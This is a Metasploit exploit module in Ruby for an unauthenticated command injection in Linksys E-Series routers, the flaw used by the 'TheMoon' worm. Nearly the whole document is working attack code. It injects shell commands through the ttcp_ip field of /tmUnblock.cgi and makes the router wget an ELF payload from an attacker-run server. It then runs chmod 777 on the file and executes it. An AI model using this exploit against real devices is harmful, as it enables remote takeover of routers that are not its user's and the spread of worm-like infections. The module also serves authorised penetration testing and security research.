linksys themoon command execution exploit
Michael Messner
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::HttpServer
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Linksys E-Series TheMoon Remote Command Injection',
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'Description' => %q{
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Some Linksys E-Series Routers are vulnerable to an unauthenticated OS command
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injection. Since it is a blind os command injection vulnerability, there is no
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output for the executed command when using the cmd generic payload. A ping
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command against a controlled system could be used for testing purposes. This
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vulnerability was used from the so called "TheMoon" worm. There are many Systems
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that might be vulnerable: E4200, E3200, E3000, E2500, E2100L, E2000, E1550, E1500,
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E1200, E1000, E900. This module was tested against a E1500 v1.0.5.
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},
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'Author' =>
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[
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'Johannes Ullrich', #worm discovery
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'Rew', # original exploit
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'infodox', # another exploit
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'Michael Messner <devnull@s3cur1ty.de>', # Metasploit module
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'juan vazquez' # minor help with msf module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'BID', 'xxxxx' ],
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[ 'EDB', '31683' ],
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[ 'OSVDB', 'xxxxx' ],
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[ 'URL', 'http://packetstormsecurity.com/files/125252/Linksys-Worm-Remote-Root.html' ],
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[ 'URL', 'https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633' ]
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],
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'DisclosureDate' => 'Feb 13 2014',
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'Privileged' => true,
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'Platform' => %w{ linux unix },
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'Payload' =>
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{
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'DisableNops' => true
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},
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'Targets' =>
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[
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[ 'CMD',
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{
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'Arch' => ARCH_CMD,
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'Platform' => 'unix'
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}
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],
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[ 'Linux mipsel Payload',
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{
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'Arch' => ARCH_MIPSLE,
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'Platform' => 'linux'
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}
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],
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],
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'DefaultTarget' => 1
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))
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register_options(
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[
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OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
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OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
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OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
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], self.class)
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end
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def request(cmd,uri)
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begin
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res = send_request_cgi({
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'uri' => uri,
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'method' => 'POST',
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'encode_params' => false,
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'vars_post' => {
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"submit_button" => "",
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"change_action" => "",
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"action" => "",
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"commit" => "0",
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"ttcp_num" => "2",
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"ttcp_size" => "2",
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"ttcp_ip" => "-h `#{cmd}`",
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"StartEPI" => "1"
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}
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})
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return res
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rescue ::Rex::ConnectionError
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vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
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return nil
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end
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end
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def exploit
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downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
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uri = '/tmUnblock.cgi'
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rhost = datastore['RHOST']
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rport = datastore['RPORT']
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#
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# testing Login
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#
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print_status("#{rhost}:#{rport} - Trying to access the vulnerable url")
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begin
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res = send_request_cgi({
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'uri' => uri,
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'method' => 'GET',
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})
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if res.nil? or res.code == 404
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fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible")
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end
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if [200, 301, 302].include?(res.code)
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print_good("#{rhost}:#{rport} - Successfully accessed #{uri}")
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else
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fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible")
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end
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
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end
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if target.name =~ /CMD/
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if not (datastore['CMD'])
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fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
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end
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cmd = payload.encoded
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res = request(cmd,uri)
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if (!res)
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
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else
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print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
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end
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return
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end
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#thx to Juan for his awesome work on the mipsel elf support
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@pl = generate_payload_exe
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@elf_sent = false
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#
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# start our server
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#
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resource_uri = '/' + downfile
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if (datastore['DOWNHOST'])
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service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
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else
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#do not use SSL
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if datastore['SSL']
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ssl_restore = true
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datastore['SSL'] = false
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end
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#we use SRVHOST as download IP for the coming wget command.
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#SRVHOST needs a real IP address of our download host
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if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
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srv_host = Rex::Socket.source_address(rhost)
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else
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srv_host = datastore['SRVHOST']
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end
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service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
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print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
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start_service({'Uri' => {
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'Proc' => Proc.new { |cli, req|
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on_request_uri(cli, req)
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},
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'Path' => resource_uri
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}})
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datastore['SSL'] = true if ssl_restore
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end
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print_status("#{rhost}:#{rport} - Asking the Linksys device to download and execute #{service_url}")
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#this filename is used to store the payload on the device
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filename = rand_text_alpha_lower(8)
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cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
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res = request(cmd,uri)
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if (!res)
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
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end
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# wait for payload download
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if (datastore['DOWNHOST'])
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print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload")
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select(nil, nil, nil, datastore['HTTP_DELAY'])
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else
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wait_linux_payload
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end
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register_file_for_cleanup("/tmp/#{filename}")
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#
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# chmod
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#
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cmd = "chmod 777 /tmp/#{filename}"
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print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
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res = request(cmd,uri)
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if (!res)
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
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end
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#
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# execute
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#
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cmd = "/tmp/#{filename}"
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print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
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res = request(cmd,uri)
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if (!res)
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
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end
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end
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# Handle incoming requests from the server
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def on_request_uri(cli, request)
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if (not @pl)
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print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
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return
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end
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print_status("#{rhost}:#{rport} - Sending the payload to the server...")
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@elf_sent = true
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send_response(cli, @pl)
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end
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# wait for the data to be sent
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def wait_linux_payload
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print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
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waited = 0
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while (not @elf_sent)
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select(nil, nil, nil, 1)
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waited += 1
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if (waited > datastore['HTTP_DELAY'])
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
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end
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end
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end
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end
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